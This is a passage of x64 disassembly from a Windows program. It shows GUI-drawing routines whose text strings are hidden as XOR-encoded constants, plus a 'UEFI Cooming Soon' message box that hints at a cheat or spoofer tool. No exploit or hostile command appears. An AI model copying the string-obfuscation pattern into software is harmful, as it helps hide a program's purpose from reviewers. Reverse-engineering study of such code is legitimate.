movss xmm1, dword [0x1400c5cd8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1cc0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c69dd9a258b52d8
mov qword [rbp + 0x10], rax
movabs rax, 0x2a8483d44293d984
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x68afc6f8a973f86d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d08], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d10], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d18], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d20], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d28], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d30], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xb20]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d38], rax
vmovdqu ymm0, ymmword [rbp + 0x1d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d00]
vmovdqa ymmword [rbp + 0x1d00], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cb4]
mov ebx, eax
movss xmm1, dword [0x1400c5cd8]
lea rcx, [rbp + 0x2c8]
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1d00]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c77d58f258b52d8
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd08d93
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb30], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb38], rcx
lea rcx, [rbp + 0xb50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb30]
mov qword [rbp + 0xb48], rax
xorps xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0xb30], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cc8]
lea rcx, [rbp + 0x2d0]
movss xmm1, dword [0x1400c5cd8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0xb30]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x975d1b26bb715d3
mov qword [rbp + 0x10], rax
movabs rax, 0x6f9b96c643b191a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d40], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x6fb0d6f4a967d80b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d48], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d50], rax
movabs rax, 0x2fc5a13681aee9ca
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0xb60]
mov rax, qword [rbp + 0x10]
mov edx, 0xf0
mov qword [rbp + 0x1d58], rax
mov r9d, edx
movabs rax, 0x2911b4dc05d67983
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d60], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d68], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d70], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d78], rax
vmovdqu ymm0, ymmword [rbp + 0x1d60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d40]
vmovdqa ymmword [rbp + 0x1d40], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d38]
lea rcx, [rbp + 0x2d8]
movss xmm1, dword [0x1400c5cd8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1d40]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0xb70]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d38]
lea rcx, [rbp + 0x2e0]
movss xmm1, dword [0x1400c5cbc]
mov ebx, eax
call fcn.1400013d0
mov r14, qword [rbp + 0x160]
lea rcx, [0x1400c22f8]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x2e8]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5d4c]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x2f0]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5d50]
call fcn.1400013d0
call fcn.1400128f0
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb80]
mov r8d, edx
mov rbx, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5c00]
lea r8, [rbp + 0x2f0]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x2e8]
movss xmm0, dword [0x1400c5c2c]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140023920
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29219aed259b2fcd
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb90], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb98], rcx
lea rcx, [rbp + 0xbb0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xba0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xb90]
mov r8d, edx
mov qword [rbp + 0xba8], rax
xorps xmm0, xmmword [rbp + 0xba0]
movdqa xmmword [rbp + 0xb90], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm6, dword [0x1400c5cd0]
lea rcx, [rbp + 0x2f8]
movss xmm2, dword [0x1400c5d58]
movaps xmm1, xmm6
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c50]
lea rcx, [rbp + 0xb90]
mov rdx, qword [0x1415573c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
movabs rdx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a76c19e25ae10c5
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbc0], rcx
mov qword [rbp + 0x10], rdx
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbc8], rcx
lea rcx, [rbp + 0xbe0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbd0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xc8
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xbc0]
mov r8d, edx
mov qword [rbp + 0xbd8], rax
xorps xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rbp + 0xbc0], xmm0
mov dword [rsp + 0x20], 0xff
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d64]
lea rcx, [rbp + 0x300]
movaps xmm1, xmm6
mov ebx, eax
call fcn.1400013d0
movss xmm6, dword [0x1400c5c5c]
lea rcx, [rbp + 0xbc0]
mov rdx, qword [0x1415573c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xc8
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x5d78d89b25ae10c5
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a15eb59183
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbf0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbf8], rcx
lea rcx, [rbp + 0xc10]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc00], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xbf0]
mov qword [rbp + 0xc08], rax
xorps xmm0, xmmword [rbp + 0xc00]
movdqa xmmword [rbp + 0xbf0], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d70]
lea rcx, [rbp + 0x308]
movss xmm1, dword [0x1400c5cd0]
mov ebx, eax
call fcn.1400013d0
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0xbf0]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
movss xmm2, dword [0x1400c5c4c]
mov r9, rax
mov rdx, qword [0x1415573d8]
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xc8
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x975d1b26bb715d3
mov qword [rbp + 0x10], rax
movabs rax, 0x4f9b96c643b191a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc28], rcx
lea rcx, [rbp + 0xc40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc30], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc20]
mov qword [rbp + 0xc38], rax
xorps xmm0, xmmword [rbp + 0xc30]
movdqa xmmword [rbp + 0xc20], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d7c]
lea rcx, [rbp + 0x310]
movss xmm1, dword [0x1400c5cd0]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c4c]
lea rcx, [rbp + 0xc20]
mov rdx, qword [0x1415573c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x318]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5d4c]
addss xmm1, dword [0x1400c5d74]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x320]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5d98]
call fcn.1400013d0
call fcn.1400128f0
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc50]
mov r8d, edx
mov rbx, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5c00]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1400c5c2c]
mov dword [rsp + 0x28], esi
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x320]
mov rcx, rbx
lea rdx, [rbp + 0x318]
call fcn.140023920
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29219aed259b2fcd
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc60], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc68], rcx
lea rcx, [rbp + 0xc80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc70], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xc60]
mov r8d, edx
mov qword [rbp + 0xc78], rax
xorps xmm0, xmmword [rbp + 0xc70]
movdqa xmmword [rbp + 0xc60], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d58]
lea rcx, [rbp + 0x328]
movss xmm1, dword [0x1400c5d7c]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c50]
lea rcx, [rbp + 0xc60]
mov rdx, qword [0x1415573c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xc8
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x974c0bd68bf17c2
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0b0b5
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc90], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc98], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xca0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc90]
mov qword [rbp + 0xca8], rax
xorps xmm0, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0xc90], xmm0
mov r9d, edx
lea rcx, [rbp + 0xcb0]
mov r8d, edx
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d64]
lea rcx, [rbp + 0x330]
movss xmm1, dword [0x1400c5d7c]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c0]
lea rcx, [rbp + 0xc90]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xc8
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c63db9125b21dc2
mov qword [rbp + 0x10], rax
movabs rax, 0x269c92cc44beb8c0
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bc8b3ba8966d922
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d88], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d90], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d98], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xcc0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db8], rax
vmovdqu ymm0, ymmword [rbp + 0x1da0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d80]
vmovdqa ymmword [rbp + 0x1d80], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d70]
lea rcx, [rbp + 0x338]
movss xmm1, dword [0x1400c5d7c]
mov ebx, eax
call fcn.1400013d0
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x1d80]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
movss xmm2, dword [0x1400c5c4c]
mov r9, rax
mov rdx, qword [0x1415573d8]
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xc8
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x975d1b26bb715d3
mov qword [rbp + 0x10], rax
movabs rax, 0x4f9b96c643b191a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcd0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcd8], rcx
lea rcx, [rbp + 0xcf0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xce0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xcd0]
mov qword [rbp + 0xce8], rax
xorps xmm0, xmmword [rbp + 0xce0]
movdqa xmmword [rbp + 0xcd0], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5d7c]
lea rcx, [rbp + 0x340]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c4c]
lea rcx, [rbp + 0xcd0]
mov rdx, qword [0x1415573c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
jmp 0x140046206
movss xmm6, dword [0x1400c5c5c]
movss xmm7, dword [0x1400c5c80]
mov r14, qword [rbp + 0x160]
cmp dword [0x1415573e0], 4
jne 0x1400477c1
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xd00]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5da4]
lea rcx, [rbp + 0x348]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
movaps xmm2, xmm14
lea rcx, [rbp + 0x350]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400013d0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140023a00
movaps xmm2, xmm7
lea rcx, [rbp + 0x358]
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, r14
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x360]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400462f9
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x368]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140046334
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x370]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x14004636f
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x378]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400463aa
mov dword [0x1415573e0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x380]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400463e5
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
movss xmm2, dword [0x1400c5c74]
lea rcx, [rbp + 0x388]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x390]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0xd10]
xor eax, eax
movabs rbx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
movabs rdi, 0x2911b4dc05d67983
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911d8bd68a416cd
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd10], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd18], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd20], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd10]
cmp dword [0x1415573e0], 4
mov qword [rbp + 0xd28], rax
xorps xmm0, xmmword [rbp + 0xd20]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0xd10], xmm0
call fcn.140039a30
test al, al
je 0x1400464cd
mov dword [0x1415573e0], 4
movss xmm1, dword [0x1400c5dcc]
movaps xmm0, xmm14
call fcn.140016530
movss xmm1, dword [0x1400c5dcc]
movaps xmm0, xmm14
call fcn.140016530
movaps xmm2, xmm14
lea rcx, [rbp + 0x398]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0xd30]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc4c903cd6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd38], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd30]
cmp dword [0x1415573e0], 8
mov qword [rbp + 0xd48], rax
xorps xmm0, xmmword [rbp + 0xd40]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0xd30], xmm0
call fcn.140039a30
test al, al
je 0x1400465a7
mov r9d, 0x30
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x1400c5dcc]
movaps xmm0, xmm14
call fcn.140016530
movss xmm1, dword [0x1400c5dcc]
movaps xmm0, xmm14
call fcn.140016530
movaps xmm2, xmm14
lea rcx, [rbp + 0x3a0]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0xd50]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc059f3fc6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd58], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd60], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd50]
cmp dword [0x1415573e0], 9
mov qword [rbp + 0xd68], rax
xorps xmm0, xmmword [rbp + 0xd60]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0xd50], xmm0
call fcn.140039a30
test al, al
je 0x14004666f
mov dword [0x1415573e0], 9
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0xd70]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x3a8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d00]
addss xmm1, dword [0x1400c5d80]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x3b0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5ca0]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c00]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x1400c5c1c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x3b8]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x92bc7a971b70dd0
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd80], rcx
